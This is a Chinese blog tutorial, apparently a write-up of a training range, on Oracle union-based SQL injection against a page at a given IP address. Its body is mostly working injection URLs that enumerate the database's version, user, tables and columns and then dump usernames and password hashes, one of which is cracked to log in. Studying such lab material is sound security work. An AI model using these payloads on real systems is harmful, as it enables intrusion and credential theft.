首页 > 数据库 >师傅不外传的高级技巧 SQL注入获取网站权限

师傅不外传的高级技巧 SQL注入获取网站权限

时间:2024-03-19 11:29:05浏览次数:15  
标签:外传 name list 44929 124.70 SQL new 权限 select

0x01前言

本文旨在讲述Oracle数据库多种情况下如何进行注入获取网站权限。

0x02 判断注入点

跟其他数据库一样,检测注入点都是可以通过拼接and语句进行判断。这里通过and 1=1 和and 1=2进行判断。实战中还可以通过延时函数进行判断。

http://124.70.64.48:44929/new_list.php?id=1%20and%201=1

图片

image.png

http://124.70.64.48:44929/new_list.php?id=1%20and%201=2

图片

image.png

0x03 显错注入

1、判断字段数为2

与其他注入一样,这里通过order by来判断字段数。因为order by 2页面正常,order by 3页面不正常,故判断当前字段数为2。

http://124.70.64.48:44929/new_list.php?id=1%20order%20by%202

图片

image.png

http://124.70.64.48:44929/new_list.php?id=1%20order%20by%203

图片

image.png

2、获取显错点

联合查询这里使用了union select,oracle数据库与mysql数据库不同点在于它对于字段点数据类型敏感,也就是说我们不能直接union select 1,2,3来获取显错点了,需要在字符型字段使用字符型数据,整型字段使用整型数据才可以。如下,两个字段都为字符型,故使用union select ‘null’,‘null’。

(在有些情况下也采用union all select的形式进行联合查询。union all select与union select的不同点可以很容易理解为all表示输出所有,也就是当数据出现相同时,将所有数据都输出;union select则会将相同数据进行过滤,只输出其中一条。)

#联合查询
http://124.70.64.48:44929/new_list.php?id=-1%20union%20select%20null,null%20from%20dual
#修改null为'null',判断字段类型均为字符型
http://124.70.64.48:44929/new_list.php?id=-1%20union%20select%20%27null%27,%27null%27%20from%20dual  #%20为空格,%27为'

图片

image.png

3、查询数据库版本信息

http://124.70.64.48:44929/new_list.php?id=-1%20union%20select%20%27null%27,(select%20banner%20from%20sys.v_$version%20where%20rownum=1)%20from%20dual

图片

image.png

4、获取当前数据库连接用户

http://124.70.64.48:44929/new_list.php?id=-1 union select 'null',(select sys_context('userenv','current_user') from dual) from dual

http://124.70.64.48:44929/new_list.php?id=-1  union select '1',user from dual

图片

图片

5、查询当前数据库库名

http://124.70.64.48:44929/new_list.php?id=-1%20union%20select%20%27null%27,(select%20instance_name%20from%20V$INSTANCE)%20from%20dual

图片

image.png

6、查询数据库表名

查询表名一般查询admin或者user表

直接查询

获取第一个表名LOGMNR_SESSION_EVOLVE$

http://124.70.64.48:44929/new_list.php?id=-1 union select 'null',(select table_name from user_tables where rownum=1) from dual

图片

获取第二个表名LOGMNR_GLOBAL$

http://124.70.64.48:44929/new_list.php?id=-1 union select 'null',(select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_SESSION_EVOLVE$') from dual

图片

获取第三个表名LOGMNR_GT_TAB_INCLUDE$

http://124.70.64.48:44929/new_list.php?id=-1 union select 'null',(select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_SESSION_EVOLVE$' and table_name not in 'LOGMNR_GLOBAL$') from dual

图片

image.png

模糊搜索查询

获取sns_users表名

http://124.70.64.48:44929/new_list.php?id=-1 union select 'null',(select table_name from user_tables where table_name like '%user%' and rownum=1) from dual

图片

image.png

7、查询数据库列名

直接查询

http://124.70.64.48:44929/new_list.php?id=-1 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1) from dual
http://124.70.64.48:44929/new_list.php?id=-1 union select 'null',(select column_name from user_tab_columns where rownum=1 and column_name not in 'USER_NAME') from dual
http://124.70.64.48:44929/new_list.php?id=-1 union select 'null',(select column_name from user_tab_columns where rownum=1 and column_name not in 'USER_NAME' and column_name not in 'AGENT_NAME') from dual……………
http://124.70.64.48:44929/new_list.php?id=-1 union select 'null',(select column_name from user_tab_columns where rownum=1 and column_name not in 'USER_NAME' and column_name not in 'AGENT_NAME' and column_name not in 'PROTOCOL' and column_name not in 'SPARE1' and column_name not in 'DB_USERNAME' and column_name not in 'OID' and column_name <> 'EVENTID' and column_name <> 'NAME' and column_name <> 'TABLE_OBJNO') from dual

图片

image.png

模糊搜索查询

http://124.70.64.48:44929/new_list.php?id=-1 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1 and column_name like '%USER%') from dual
http://124.70.64.48:44929/new_list.php?id=-1 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1 and column_name like '%USER%' and column_name <> 'USER_NAME') from dual

图片

图片

8、查询数据库数据

获取账号密码字段内容

http://124.70.64.48:44929/new_list.php?id=-1 union select USER_NAME,USER_PWD from "sns_users" where rownum=1

图片

image.png

http://124.70.64.48:44929/new_list.php?id=-1 union select USER_NAME,USER_PWD from "sns_users" where rownum=1 and USER_NAME <> 'zhong'

图片

image.png

http://124.70.64.48:44929/new_list.php?id=-1%20union%20select%20USER_NAME,USER_PWD%20from%20%22sns_users%22%20where%20rownum=1%20and%20USER_NAME%20%3C%3E%20%27zhong%27%20and%20USER_NAME%20not%20in%20%27hu%27

图片

c8b22e6e61620c40f6a51de4aa60634a md5解密密码为:688355 用mozhe\688355登录得到key:

图片

靶场获取

公众号:吉吉说安全,对我发消息【20240301】免费获取靶场链接

免费红队知识库:https://pc.fenchuan8.com/#/index?forum=70943&yqm=5XBP8

免责声明

由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本公众号及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

标签:外传,name,list,44929,124.70,SQL,new,权限,select
From: https://blog.csdn.net/jijisaq/article/details/136682838

相关文章

  • 【MySQL】1.基础语句知识
    1.MySQL概述SQL登录mysql[-h127.0.0.1][-P3306]-uroot-p//连接mysqlSQL语句分类DDL(DataDefinitionLanguage)数据定义语言,用来定义数据库对象(数据库,表,字段)DML(DataManipulationLanguage)数据操作语言,用来对数据库表中的数据进行增删改DQL(DataQuery......
  • mysqly索引(explain 执行计划)
    关键词执行计划EXPLAIN+语句查看mysql优化后的语句showwarnings;EXPLAIN执行后,各列的含义要点:select_type如何查询表type如何查询行key如何使用索引key_len索引使用多少rows行预计使用多少extra表的额外信息1.idid列的编号是select的序列号......
  • Mysql之innodb架构
    Innodb存储引擎的架构内存结构BuferPool缓冲池是主内存中的一个区域,里面可以缓存磁盘上经常操作的真实数据,在执行增删改查操作时,先操作缓冲池中的数据(若缓冲池没有数据,则从磁盘加载并缓存),然后再以一定频率刷新到磁盘,从而减少磁盘IO,加快处理速度。缓冲池以Page页为......
  • SQL SERVER数据库浅谈 | 期末可过速成
    一、文章内容SQLserver安装(mysql)SQLserver基本定义SQLserver基本语法pymysql案例实战SQLserver安装(mysql)安装的话建议安装界面版-https://www.mysql.com/downloads/找到自己的版本然后安装,无脑安装这里直接跳过了.安装好打开mysqlcommand命令窗口,然后才能......
  • MySQL系列:索引失效场景总结
    相关文章数据库系列:MySQL慢查询分析和性能优化数据库系列:MySQL索引优化总结(综合版)数据库系列:高并发下的数据字段变更数据库系列:覆盖索引和规避回表数据库系列:数据库高可用及无损扩容数据库系列:使用高区分度索引列提升性能数据库系列:前缀索引和索引长度的取舍数据库系列:My......
  • 批量打开库存会计期SQL
    DECLARE l_last_scheduled_close_dateDATE; l_le_sysdateDATE; — l_prior_period_openBOOLEAN; l_new_acct_period_idNUMBER; l_duplicate_open_periodBOOLEAN; l_commit_completedBOOLEAN; l_return_statusVARCHAR2(1); BEGIN —operationunit......
  • 月结各模块关闭情况查询SQL
    -----库存模块selectoap.status关闭状态,oap.period_name所属期间,oap.organization_id组织id,(selectnamefromhr_organization_unitsxwherex.organization_id=oap.organization_id)组织名称,oap.last_update_date执......
  • 深入理解mysql 从入门到精通
    1.MySQL结构由下图可得MySQL的体系构架划分为:1.网络接入层2.服务层3.存储引擎层4.文件系统层1.网络接入层提供了应用程序接入MySQL服务的接口。客户端与服务端建立连接,客户端发送SQL到服务端,Java中通过JDBC来实现连接数据库。2.服务层管理工具和服务:系统管理和控......
  • rocky9 编写一键安装mysql 的sh脚本
    基本操作步骤1、虚拟机最小化安装rocky9系统,安装后克隆一个系统;1个用来获取下载的rpm包,一个用来编写sh测试脚本;2、修改虚拟机的 yum配置文件,获取获取rpm程序 :启用缓存,并修改yum下载软件的路径;3、参考教程安装,安装mysql;Centos(rocky)yum安装mysql,切换路径、优化配置并......
  • 本地mysql 和云服务mysql的区别
    本地MySQL和云服务MySQL确实存在一些明显的区别,主要体现在以下几个方面:数据存储与访问方式:本地MySQL数据库通常直接安装在用户的计算机或服务器上,数据存储在本地硬盘中,用户可以直接通过本地网络或应用程序访问。而云服务MySQL则是将数据存储在云服务器上,用户需要通过互联网......